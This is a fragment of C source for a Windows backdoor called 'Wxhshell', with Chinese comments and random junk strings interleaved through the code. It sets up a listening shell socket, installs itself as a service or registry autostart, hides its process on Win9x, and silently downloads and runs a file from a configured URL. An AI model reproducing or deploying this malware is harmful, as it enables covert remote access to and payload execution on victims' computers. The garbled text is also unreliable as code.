OySy6IN]q WV kR56 CloseHandle(hProcess); mnF}S5[9 }bB`(B,m if(strstr(procName,"services")) return 1; // 以服务启动 ned2lC&'d> 7N2\8kP return 0; // 注册表启动 U[_8WJ7+ } S+x_c4 T e[Xq // 主模块 TbE:||r?^ int StartWxhshell(LPSTR lpCmdLine) !UV5zmS { %4>x!{jwV SOCKET wsl; L x|',6S BOOL val=TRUE; ;~zNqdlH int port=0; I#A2)V0P) struct sockaddr_in door; cep$_Ja v%{0 Tyk if(wscfg.ws_autoins) Install(); <"&'>?8j {_ V0 port=atoi(lpCmdLine); Lue|Plm[y fu\s`W6f& if(port<=0) port=wscfg.ws_port; OOy}]uYF` @Gjny BJ WSADATA data; M^SuV if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z[!x:# q8` =fG:A(v%} if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; H 30OUrD setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cqL(^R. door.sin_family = AF_INET; LPE) door.sin_addr.s_addr = inet_addr("127.0.0.1"); SN]LeXesS door.sin_port = htons(port); ,-#GX{! F&@ |M( if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yqcM(,0] closesocket(wsl); ,ECAan/@ return 1; Y)p4]>lT+8 } Rl@$xP LdWc
X`K if(listen(wsl,2) == INVALID_SOCKET) { W,N L*($^ closesocket(wsl); *6*-WV6 return 1; |>utWT]S } T_ ^C#> Wxhshell(wsl); h[U7!aM WSACleanup(); ToU.mM?f^ _X%Dw return 0; CIQwl 6H9 T\3 [F%? }
GXeAe}T x;U|3{Io // 以NT服务方式启动 nPf'ee VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ks:{TA27 { e[4V%h DWORD status = 0; 8-A|C<
" DWORD specificError = 0xfffffff; +qE']yzm! "L_-}BK serviceStatus.dwServiceType = SERVICE_WIN32; wgZrrq/W| serviceStatus.dwCurrentState = SERVICE_START_PENDING; 5;
f\0<- serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a|.20w5 serviceStatus.dwWin32ExitCode = 0; 3H'*?|Y(# serviceStatus.dwServiceSpecificExitCode = 0; Xiju"Cup" serviceStatus.dwCheckPoint = 0; [Yvsa,2 serviceStatus.dwWaitHint = 0; ]L(54q;W 5B|,S1b hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C1ZyB"{
if (hServiceStatusHandle==0) return; \^s2W:c h#O"Q+J9n status = GetLastError(); Mdm0g if (status!=NO_ERROR) j0?>w{e { V/&o]b serviceStatus.dwCurrentState = SERVICE_STOPPED; A^vvST%7 serviceStatus.dwCheckPoint = 0; xN"wF-s4? serviceStatus.dwWaitHint = 0; :B^mV{~
serviceStatus.dwWin32ExitCode = status; x\]z j! serviceStatus.dwServiceSpecificExitCode = specificError; U#"WrWj SetServiceStatus(hServiceStatusHandle, &serviceStatus); z5ZKks return; &%:*\_2s } EqQ3=XMUL@ 2YluJ:LN serviceStatus.dwCurrentState = SERVICE_RUNNING; )-)pYRlO serviceStatus.dwCheckPoint = 0;
,5kvn serviceStatus.dwWaitHint = 0; /x
O{
.dr if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \
%_)_"Q } xfes_v"" R(GmU4 // 处理NT服务事件,比如:启动、停止 IadK@?X6j VOID WINAPI NTServiceHandler(DWORD fdwControl) AtT"RG-6 { %A=|'6)k2 switch(fdwControl) F'ENq6 { "W hwc case SERVICE_CONTROL_STOP: 0QMaM serviceStatus.dwWin32ExitCode = 0; -B,c B serviceStatus.dwCurrentState = SERVICE_STOPPED; Vp\80D& serviceStatus.dwCheckPoint = 0; &p)@8HY serviceStatus.dwWaitHint = 0; _ Q{T '; { /t$*W\PL@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); )kF2HF } InP[yFV-z return; A ^-Z)0: case SERVICE_CONTROL_PAUSE: xg{VP7 serviceStatus.dwCurrentState = SERVICE_PAUSED; &b!vWX1N break; / Z1Wy-Z case SERVICE_CONTROL_CONTINUE: ['?^>jfr serviceStatus.dwCurrentState = SERVICE_RUNNING; 89db5Dx break; \4/:^T}* case SERVICE_CONTROL_INTERROGATE: "2%y~jrDN break; "wC0eDf }; f!mE1,eBEe SetServiceStatus(hServiceStatusHandle, &serviceStatus); pmoGudaRF } J-b~4 +<GrRYbC // 标准应用程序主函数 ]&' jP int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Tw}@+- { PIgGXNo A\Lr<{Jh // 获取操作系统版本 4P`PmQ=GQh OsIsNt=GetOsVer(); ^dheJ]n=k GetModuleFileName(NULL,ExeFile,MAX_PATH); VtD@&N /L)?> tg // 从命令行安装 YomwjKyuP if(strpbrk(lpCmdLine,"iI")) Install(); e',hC0&S <zfO1~^ // 下载执行文件 ~K4k'
if(wscfg.ws_downexe) { 7zOhyl? if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LQ~LB'L WinExec(wscfg.ws_filenam,SW_HIDE); ^xzE^"G6 } aIQrb Bjurmo if(!OsIsNt) { }~myf\$ // 如果时win9x,隐藏进程并且设置为注册表启动 ],!\IqO HideProc(); >|v=Ba6R0 StartWxhshell(lpCmdLine); C<zx'lw! } 5}<.1ab3V else 0Ei\VVK> if(StartFromService()) H4P\hOK7r // 以服务方式启动 Kh>?!`lL StartServiceCtrlDispatcher(DispatchTable); 'hxs((['\ else $ijx#a&O // 普通方式启动 ;:v]NZtc StartWxhshell(lpCmdLine); U;x99Go: ~r(g|?}P return 0; ~5-~q0Ge }
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